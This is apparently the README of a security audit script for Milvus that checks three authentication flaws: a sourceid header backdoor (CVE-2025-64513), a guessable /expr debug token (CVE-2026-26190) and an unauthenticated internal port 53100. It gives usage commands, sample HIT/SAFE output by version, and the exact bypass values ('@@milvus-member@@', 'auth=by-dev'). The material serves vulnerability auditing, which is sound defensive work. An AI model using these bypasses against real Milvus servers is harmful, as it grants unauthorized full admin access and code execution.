
Milvus प्रमाणीकरण सुरक्षा जाँच स्क्रिप्ट: CVE-2025-64513 (sourceid बैकडोर) / CVE-2026-26190 (/expr कमज़ोर token) / आंतरिक पोर्ट 53100
Milvus प्रमाणीकरण सुरक्षा जाँच स्क्रिप्ट। तीन प्रमाणीकरण दोषों का पता लगाती है:
| दोष | CVE | प्रभावित संस्करण | जाँच विधि |
|---|---|---|---|
| sourceid बैकडोर प्रमाणीकरण बाइपास | CVE-2025-64513 | < 2.4.24 / < 2.5.21 / < 2.6.5 | gRPC ListDatabases + sourceid इंजेक्शन |
| प्रबंधन पोर्ट /expr कमज़ोर टोकन | CVE-2026-26190 | < 2.5.27 / < 2.6.10 | HTTP /expr?code=1%2B1&auth=by-dev(code पैरामीटर URL-एन्कोडेड होना चाहिए) |
| आंतरिक पोर्ट rootcoord 53100 बिना प्रमाणीकरण | — | < 2.6.10(2.6.10 से अब सुनना बंद) | gRPC सीधा RootCoordService |
# proxy 层检测(sourceid 后门 + /expr 弱 token)
python3 milvus-auth-audit.py --host 127.0.0.1 --port 19530 --mgmt-port 9091
# 完整检测(含内部端口,需容器网络内可达)
python3 milvus-auth-audit.py --host <容器IP> --port 19530 --mgmt-port 9091 --internal-port 53100
पैरामीटर:
--host: Milvus proxy पता--port: proxy gRPC पोर्ट (डिफ़ॉल्ट 19530)--mgmt-port: प्रबंधन पोर्ट (डिफ़ॉल्ट 9091, /expr यहाँ है)--internal-port: आंतरिक पोर्ट (rootcoord डिफ़ॉल्ट 53100, 0 देने पर छोड़ दें)--cve-check: CVE प्रभावित संस्करण विवरण आउटपुट करेंpip install grpcio protobuf
gRPC कॉल के लिए proto परिभाषाओं से उत्पन्न Python कोड (milvus_pb2_grpc.py, root_coord_pb2_grpc.py आदि) की आवश्यकता होती है, जिन्हें स्क्रिप्ट के समान निर्देशिका के proto/ उपनिर्देशिका में रखें। निर्माण विधि:
# 1. 拉 milvus-proto 仓库
git clone https://github.com/milvus-io/milvus-proto.git
# 2. 拉 milvus 源码(内部 proto:root_coord.proto / internal.proto / proxy.proto 等)
git clone https://github.com/milvus-io/milvus.git
# 3. 生成(milvus 内部 proto 在 milvus/pkg/proto/ 下)
pip install grpcio-tools
python3 -m grpc_tools.protoc -I milvus-proto/proto -I milvus/pkg/proto \
--python_out=proto --grpc_python_out=proto \
milvus-proto/proto/milvus.proto milvus/pkg/proto/root_coord.proto \
milvus/pkg/proto/internal.proto milvus/pkg/proto/proxy.proto
=== 2.6.4 ===
[*] 目标: 172.22.0.4:19530 管理端口: 9091
[check] 认证状态: 已开启认证(authorizationEnabled=true)
[verify] sourceid 后门绕过认证, 数据库=['default'] -> HIT
[verify] /expr 任意表达式执行 (auth=by-dev) -> HIT
[exploit] 内部端口未认证, 数据库=['default'] -> HIT
[!] 发现 3 个可利用认证缺陷
=== 2.6.5 ===
[check] 认证状态: 已开启认证(authorizationEnabled=true)
[verify] sourceid 被拒绝 -> SAFE
[verify] /expr 任意表达式执行 (auth=by-dev) -> HIT
[exploit] 内部端口未认证, 数据库=['default'] -> HIT
[!] 发现 2 个可利用认证缺陷
=== 2.6.10 ===
[check] 认证状态: 已开启认证(authorizationEnabled=true)
[verify] sourceid 被拒绝 -> SAFE
[verify] /expr 已默认禁用 -> SAFE
[exploit] 端口不可达 -> SAFE
[+] 未发现认证缺陷
internal/proxy/authentication_interceptor.go में validSourceID() sourceId header की जाँच करता है; जब मान की base64 डिकोडिंग @@milvus-member@@ के बराबर होती है, तो पूरा प्रमाणीकरण ब्रांच छोड़ दिया जाता है। यह आंतरिक घटकों का आपसी विश्वास तंत्र (grpcclient/auth.go का PerRPCCredentials) है, लेकिन इसमें source की कोई जाँच नहीं है, इसलिए बाहरी रूप से नकली बनाया जा सकता है। पूरी exploitation chain: sourceid + authorization=base64("root:गलत पासवर्ड") = full admin (proxy जाँच छोड़ देता है, नकली पहचान ज्यों की त्यों पास हो जाती है)।/expr डिबग एंडपॉइंट; प्रमाणीकरण टोकन etcd.rootPath (डिफ़ॉल्ट by-dev) से आता है, पूरी तरह अनुमान लगाया जा सकता है, और कोई भी expr-lang एक्सप्रेशन निष्पादित किया जा सकता है। 2.6.10 से इसे common.security.exprEnabled द्वारा नियंत्रित किया जाता है, डिफ़ॉल्ट रूप से अक्षम।AuthenticationInterceptor केवल proxy (19530) पर पंजीकृत है; rootcoord आंतरिक gRPC सर्वर (53100) में प्रमाणीकरण नहीं है। कंटेनर नेटवर्क के भीतर बिना प्रमाणीकरण सीधा कनेक्शन full admin प्राप्त कर सकता है। 2.6.10 से यह पोर्ट सुनना बंद कर देता है।केवल अधिकृत वातावरण की सुरक्षा जाँच के लिए। अनधिकृत सिस्टम पर उपयोग न करें।